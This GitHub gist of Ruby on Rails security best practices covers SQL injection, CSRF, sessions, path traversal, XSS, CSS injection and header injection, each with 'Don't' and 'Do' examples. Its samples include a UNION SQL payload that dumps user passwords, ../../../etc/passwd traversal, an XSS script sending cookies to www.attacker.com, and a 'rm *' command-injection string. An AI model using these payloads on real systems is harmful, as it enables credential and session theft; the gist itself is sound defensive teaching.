Skip to content

Instantly share code, notes, and snippets.

@mayra-cabrera
Last active August 29, 2015 14:06
Show Gist options
  • Save mayra-cabrera/09d79d828afcd194fbd9 to your computer and use it in GitHub Desktop.
Save mayra-cabrera/09d79d828afcd194fbd9 to your computer and use it in GitHub Desktop.
Security Rails Best Practices

Avoid SQL injection attacks

It leaves the database wide open to a SQL injection attack, is effectively the same as publishing your entire database to the whole online world.

Dont's

Lets asume that params[:name] is equals to ' OR 1 --

name = params[:name]
orders = Order.where("name = '#{name}' and pay_type = 'po'")
=> SELECT * FROM orders WHERE name = '' OR 1 --'

The two dashes start a comment ignoring everything after it. So the query returns all records from the orders table including those blind to the user. This is because the condition is true for all records.

Or worse asume that params[:name] is equals to ') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

=> SELECT * FROM orders WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'

The result won't be a list of orders, but a list of user names and their password.

Do

Let Active Record handle it. Doing this allows Active Record to create properly escaped SQL, which is immune from SQL injection attacks:

name = params[:name]
orders = Order.where(["name = ? and pay_type = 'po'", name])

Or:

name = params[:name]
pay_type = params[:pay_type]
orders = Order.where("name = :name and pay_type = :pay_type", pay_type: pay_type, name: name)
orders = Order.where("name = :name and pay_type = :pay_type", params[:order])
orders = Order.where(params[:order])
orders = Order.where(name: params[:name], pay_type: params[:pay_type])

Force your users to access site functions with SSL

With force_ssl() which is configurable per-controller and per-action basis. Is implemented as a simple wrapper therefore accepts the same :only and :except just like a before_filter method

class PaymentsController < ApplicationController
 force_ssl
end

force_ssl :only => [:edit, :update, :new, :create]

config.force_ssl = true # development.rb, production.rb, etc # For all the application

If a client makes a non-SSL requested for any restricted action, Rails will automatically redirect the client to the same URL using HTTPS protocol

Session Guidelines

Do not store large objects in a session. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space. This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.

Critical data should not be stored in session. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.

Session Storage

Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:

The client can see everything you store in a session. Because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, you don't want to store any secrets here. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.

That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters.

Bookup::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'

Session Expiry

Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation.

The next class will expire sessions used longer than 20 minutes or created a long time ago

class Session < ActiveRecord::Base
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
  end
end

CSRF Countermeasures

First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

Use GET if:

  • The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).

Use POST if:

  • The interaction is more like an order, or
  • The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or
  • The user is held accountable for the results of the interaction.

In the ApplicationController use protect_from_forgery This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset.

Redirection and files

Dont's

def legacy
 redirect_to(params.update(action:'main'))
end

This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

Do

Include only the expected parameters in a legacy action

def legacy
 redirect_to(action: 'main', value_1: params[:param1], value_2: param[:param2])
end 

FileUploads

Filter file names

File names should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like ../../../etc/passwd, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /\A.*(\\|\/)/, ''
    # Finally, replace all non alphanumeric, underscore or periods with underscore
    name.gsub! /[^\w\.\-]/, '_'
  end
end

Executable Code in File Uploads

Do not place file uploads in Rails' /public directory if it is Apache's home directory. The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file. If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.

File Downloads

Make sure users cannot download arbitrary files.

Dont's

send_file('/var/www/uploads/' + params[:filename]) 

In the previous example simply pass a file name like ../../../etc/passwd to download the server's login information

Do

Check if the file is in the requested directory

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

Brute-Forcing Accounts

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with:

  • More generic error messages: user name or password not correct instead of user name is not correct or password is not correct
  • Require to enter a CAPTCHA after a number of failed logins from a certain IP address. See rails plugin

Account Hijacking

  • Make change-password forms safe against CSRF
  • Require the user to enter the old password when changing it.
  • Require the user to enter the password when changing the e-mail address

Logging

Tell Rails not to put password on the log

config.filter_parameters << :password

Privilege escalation

Dont's

@project = Project.find(params[:id]) 

The previous is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway

Do

@project = @current_user.projects.find(params[:id])

HTML & JS injection

Dont

The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

The log files on www.attacker.com will read like this:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Do

It is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). Use escapeHTML() or escape_javascript

CSS Injections

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

JavaScript has a handy eval() function which executes any string as code.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
alert(eval('document.body.inne' + 'rHTML'));

Countermesure: Use Rails' sanitize() method

Command Line Injection

Use the system(command, parameters) method which passes command line parameters safely.

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files

Header Injection

It is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

redirect_to params[:referer]

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker).

Brakeman is an open source vulnerability scanner specifically designed for Ruby on Rails applications. It statically analyzes Rails application code to find security issues at any stage of development.

Sources

-Ruby on Rails Security Guide

-Agile Web Development With Rails

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment